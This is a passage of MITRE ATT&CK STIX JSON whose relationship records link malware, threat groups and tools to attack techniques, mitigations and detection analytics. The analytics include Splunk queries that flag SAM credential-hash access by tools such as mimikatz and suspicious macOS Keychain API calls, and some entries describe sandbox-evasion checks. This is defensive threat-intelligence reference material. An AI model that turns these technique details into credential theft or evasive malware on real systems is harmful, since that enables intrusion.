GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80383098-470f-4293-b4b1-90c4362be307","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2020-02-11T19:38:06.218Z","description":"[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can upload files.(Citation: Symantec Pasam May 2012)","relationship_type":"uses","source_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80389d5a-b92b-4101-930b-5be361e53eb8","type":"relationship","created":"2020-05-06T15:26:38.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T15:26:38.952Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has been executed via malicious e-mail attachments.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--803b551a-32a0-4c75-8a59-6eedfb2ee571","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Keychain Items Apple Dev API","description":"Apple. (n.d.). Keychain Items. Retrieved April 12, 2022.","url":"https://developer.apple.com/documentation/security/keychain_services/keychain_items"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:42:38.552Z","description":"Monitor for Keychain Services API calls, specifically legacy extensions such as SecKeychainFindInternetPassword, that may collect Keychain data from a system to acquire credentials.(Citation: Keychain Items Apple Dev API)\n\nAnalytic 1 - Suspicious Keychain API calls.\n\nindex=security sourcetype=\"macos_secure\"\n(event_type=\"api_call\" AND api IN (\"SecKeychainCopySearchList\", \"SecKeychainFindGenericPassword\", \"SecKeychainFindInternetPassword\", \"SecKeychainOpen\", \"SecKeychainCopyDefault\", \"SecItemCopyMatching\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--803c83dc-fe82-40e4-8aa7-35c95269ef8f","created":"2021-03-31T14:01:52.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Service Accounts","description":"Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.","url":"https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T20:14:06.922Z","description":"Use the principle of least privilege for privileged accounts such as the service account in Kubernetes. For example, if a pod is not required to access the Kubernetes API, consider disabling the service account altogether.(Citation: Kubernetes Service Accounts)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8042dc21-37e4-4a60-aef1-457179f346e5","created":"2020-05-27T15:31:09.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary Mockingbird May 2020","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:23.743Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used XMRIG to mine cryptocurrency on victim systems.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80475f21-fb52-4f97-a09c-ddfce82ca536","created":"2024-02-09T19:24:50.036Z","revoked":false,"external_references":[{"source_name":"US-CERT HOPLIGHT Apr 2019","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:24:50.036Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) can use WMI event subscriptions to create persistence.(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8047b029-b86a-497f-b246-8c54a3b24353","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T14:38:44.901Z","description":"Monitor for the SAM registry key dump being created to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\n\nAnalytic 1 - Unauthorized registry access to SAM key.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\SAM\" | where ProcessName IN (\"reg.exe\", \"powershell.exe\", \"wmic.exe\", \"schtasks.exe\", \"cmd.exe\", \"rundll32.exe\", \"mimikatz.exe\", \"procdump.exe\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--804f7690-6bf2-41dc-a6d2-59c3d4394ce5","created":"2023-09-28T13:26:54.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:33:57.912Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can set up S3 bucket notifications to trigger a malicious Lambda function when a CloudFormation template is uploaded to the bucket. It can also create Lambda functions that trigger upon the creation of users, roles, and groups.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--804fb819-6b91-4295-aec9-b9299fb3472b","type":"relationship","created":"2020-08-19T17:34:47.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-19T17:34:47.359Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can use email attachments for C2 communications.(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80516f0f-53de-4058-9ae5-d426adb9e99e","created":"2022-12-09T21:24:48.108Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-09T21:24:48.108Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) deployed JScript web shells on compromised systems.(Citation: Mandiant APT41)\n","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8052b9cf-2e89-49c4-a294-4ee42c6c6e03","created":"2023-10-02T00:45:28.153Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T00:45:28.153Z","description":"Limit the privileges of cloud accounts to assume, create, or impersonate additional roles, policies, and permissions to only those required. Where just-in-time access is enabled, consider requiring manual approval for temporary elevation of privileges.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--805f7ba3-a904-410c-b9fd-20356c595b19","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.440Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) uses a custom encryption algorithm on data sent back to the C2 server over HTTP.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8060addd-e961-41e2-a835-9343153b7522","created":"2022-06-09T18:34:13.691Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) can search for specific file extensions, including zipped files.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:34:13.691Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8068bd61-84af-494c-93c5-3b16318896e4","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--807442ed-6830-4dcf-b4ef-c3b7cb78b823","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8074bdff-7555-478e-a45e-bb042e5719ab","type":"relationship","created":"2020-10-02T16:57:45.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:57:45.197Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532","target_ref":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8074dd43-75b7-432f-9e33-af3136d90c00","created":"2023-03-29T14:36:35.026Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T14:36:35.026Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has registered domains for C2.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--807b9e89-a895-4c9b-aace-1d1ced5824b9","type":"relationship","created":"2021-06-22T14:28:38.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T14:28:38.405Z","description":"[FYAnti](https://attack.mitre.org/software/S0628) can search the C:\\Windows\\Microsoft.NET\\ directory for files of a specified size.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--434ba392-ebdc-488b-b1ef-518deea65774","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8087182b-73c3-4efa-aad6-36498531f728","type":"relationship","created":"2020-05-05T17:07:33.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T17:07:33.356Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has the ability to identify the username on the compromised host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:49:26.906Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used base64-encoded files and has also encrypted embedded strings with AES.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--808f140e-8b7b-4efa-8708-2f2308b2fc41","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Certfa Charming Kitten January 2021","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021.","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/"},{"source_name":"ClearSky Kittens Back 3 August 2020","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"},{"source_name":"Secureworks Cobalt Gypsy Feb 2017","description":"Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.","url":"https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T21:52:27.203Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has sent malicious URL links through email to victims. In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download [Pupy](https://attack.mitre.org/software/S0192).(Citation: Secureworks Cobalt Gypsy Feb 2017)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--80933d22-6aa2-466d-95c2-af486b81c624","created":"2022-06-09T19:05:16.190Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has run several virtual machine and sandbox checks, including checking if `Sbiedll.dll` is present in a list of loaded modules, comparing the machine name to `HAL9TH` and the user name to `JohnDoe`, and checking the BIOS version for known virtual machine identifiers.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:05:16.190Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8097b8e6-73f2-44f4-9234-dffa4794e0c6","created":"2023-03-10T20:34:42.998Z","revoked":false,"external_references":[{"source_name":"Uptycs Black Basta ESXi June 2022","description":"Sharma, S. and Hegde, N. (2022, June 7). Black basta Ransomware Goes Cross-Platform, Now Targets ESXi Systems. Retrieved March 8, 2023.","url":"https://www.uptycs.com/blog/black-basta-ransomware-goes-cross-platform-now-targets-esxi-systems"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T20:34:42.998Z","description":"The [Black Basta](https://attack.mitre.org/software/S1070) binary can use `chmod` to gain full permissions to targeted files.(Citation: Uptycs Black Basta ESXi June 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8099e8d0-d8a1-407e-ba20-cfae2ae9f640","created":"2024-01-17T20:37:14.633Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-17T20:37:14.633Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has the ability to use a proxy chain with up to 255 hops when using TCP.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--809f6537-c7f8-4d96-ba16-5bffa897b52f","type":"relationship","created":"2020-03-09T14:07:54.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-08-03T21:40:52.110Z","description":"Use application control where appropriate.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--809ffec1-52a1-45a5-b410-049352b99700","type":"relationship","created":"2019-02-12T19:56:02.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.502Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can download additional malicious files from its C2 server.(Citation: Unit42 Xbash Sept 